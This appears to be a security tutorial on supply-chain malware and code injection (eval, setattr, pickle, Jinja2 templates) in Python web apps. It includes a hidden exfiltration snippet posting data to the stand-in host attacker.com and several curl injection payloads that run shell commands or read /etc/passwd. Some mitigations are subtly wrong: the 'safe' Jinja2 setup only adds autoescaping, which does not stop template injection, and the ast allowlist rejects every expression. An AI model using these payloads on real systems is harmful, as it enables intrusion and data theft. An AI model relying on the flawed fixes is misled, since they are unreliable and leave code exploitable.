Embedded Malware and Dynamic Modification

Real-World Attack Scenarios

Scenario 1: Embedded Malicious Code in Supply Chain

Developer intentionally or unknowingly includes malicious code in library:

# Library: popular_utility.py
# Appears normal, but includes hidden malicious code

def useful_function():
    # Normal functionality
    return process_data()

def process_data():
    # Normal code
    data = fetch_data()
    
    # HIDDEN MALICIOUS CODE
    import requests
    requests.post('https://attacker.com/steal', json={
        'data': data,
        'time': __import__('time').time()
    })
    
    return data

The attack:

Library published to package manager
Thousands of applications download it
Every application using the library exfiltrates data
Attacker collects data from all applications simultaneously

Result:

Mass data breach
Affects all users of the library
Very hard to detect initially

Finding it: Code review of dependencies. Monitor outbound network requests. Check package source code.

Scenario 2: Dynamic Code Injection via eval()

Application uses dynamic code execution without validation:

@app.route('/api/calculate', methods=['POST'])
def calculate():
    expression = request.json.get('expression')
    
    # VULNERABLE - eval() executes arbitrary code
    result = eval(expression)
    
    return {'result': result}

The attack:

# Attacker sends malicious expression
curl -X POST http://example.com/api/calculate \
  -H "Content-Type: application/json" \
  -d '{"expression": "__import__(\"os\").system(\"whoami\")"}'

# eval() executes the Python code
# Attacker gets remote code execution

Or steal data:

# In request
{"expression": "open('/etc/passwd').read()"}

# Returns contents of /etc/passwd

Result:

Remote code execution
File system access
Complete system compromise

Finding it: Search for eval(), exec(), Function() in code. Test with code injection payloads.

Scenario 3: Dynamic Object Property Injection

Application dynamically sets object properties:

class User:
    def __init__(self, username):
        self.username = username

@app.route('/api/user', methods=['POST'])
def update_user():
    data = request.json
    user = User(data['username'])
    
    # VULNERABLE - Sets arbitrary attributes
    for key, value in data.items():
        setattr(user, key, value)
    
    return user.__dict__

The attack:

Attacker injects malicious attributes:

curl -X POST http://example.com/api/user \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "is_admin": true,
    "can_delete": true,
    "__class__.__bases__[0].__subclasses__()[104].__init__.__globals__[\"sys\"].modules[\"os\"].system": "echo pwned"
  }'

Or modify object methods:

# Request data
{
  "username": "attacker",
  "validate": "lambda: True"  # Override validation
}

# User.validate() now always returns True
# Bypasses all security checks

Result:

Method override
Validation bypass
Privilege escalation
Code execution via gadget chains

Finding it: Look for setattr(), __setattr__(), dynamic property assignment. Test with object injection payloads.

Scenario 4: Unsafe Deserialization Leading to Code Injection

Covered in detail in serialization article, but core concept:

Application deserializes untrusted data without validation:

import pickle

data = request.args.get('data')
decoded = base64.b64decode(data)

# Deserialize untrusted data
obj = pickle.loads(decoded)  # VULNERABLE

return {'result': obj}

The attack:

Attacker crafts malicious serialized object that executes code during deserialization.

Result:

Remote code execution
System compromise

Scenario 5: Template Injection with Code Execution

Application uses template engine unsafely:

from jinja2 import Template

@app.route('/email', methods=['POST'])
def send_email():
    template_str = request.json.get('template')
    
    # VULNERABLE - Renders untrusted template
    template = Template(template_str)
    output = template.render(user=request.user)
    
    send_email_template(output)

The attack:

Attacker injects template code:

curl -X POST http://example.com/email \
  -H "Content-Type: application/json" \
  -d '{
    "template": "{{ ''.__class__.__mro__[1].__subclasses__()[396](\"touch /tmp/pwned\").communicate() }}"
  }'

Template engine evaluates the injected code during rendering.

Result:

Remote code execution
Command execution
System compromise

Finding it: Look for template rendering of user input. Test with template injection payloads.

Mitigation Strategies

Never use eval() or exec()

# Bad
result = eval(user_expression)

# Good - Use expression evaluator library
from simpleeval import simple_eval
result = simple_eval(user_expression, names={'x': 5})

Use allowlists for object attributes

ALLOWED_ATTRIBUTES = {'username', 'email', 'preferences'}

for key, value in data.items():
    if key in ALLOWED_ATTRIBUTES:
        setattr(user, key, value)
    else:
        raise ValueError(f"Attribute {key} not allowed")

Never deserialize untrusted data

# Bad
obj = pickle.loads(untrusted_data)

# Good - Never deserialize untrusted data
# Use JSON instead
import json
obj = json.loads(untrusted_data)

Use safe template engines

# Bad - eval() available
template = Template(user_input)

# Good - Restricted template engine
from jinja2 import Environment, select_autoescape

env = Environment(
    autoescape=select_autoescape(['html', 'xml']),
    # Disable unsafe features
)
template = env.from_string(user_input)

Code review for security

Review all dynamic code execution
Verify no eval(), exec(), or equivalent
Check object property assignment
Audit deserialization usage

Runtime protection

# Monitor for suspicious patterns
import ast

def is_safe_expression(expr):
    """Only allow safe math expressions"""
    try:
        tree = ast.parse(expr, mode='eval')
        
        # Only allow specific node types
        allowed = (ast.BinOp, ast.Num, ast.Add, ast.Sub, ast.Mult, ast.Div)
        
        for node in ast.walk(tree):
            if not isinstance(node, allowed):
                return False
        
        return True
    except:
        return False

if is_safe_expression(user_expr):
    result = eval(user_expr)
else:
    raise ValueError("Expression not allowed")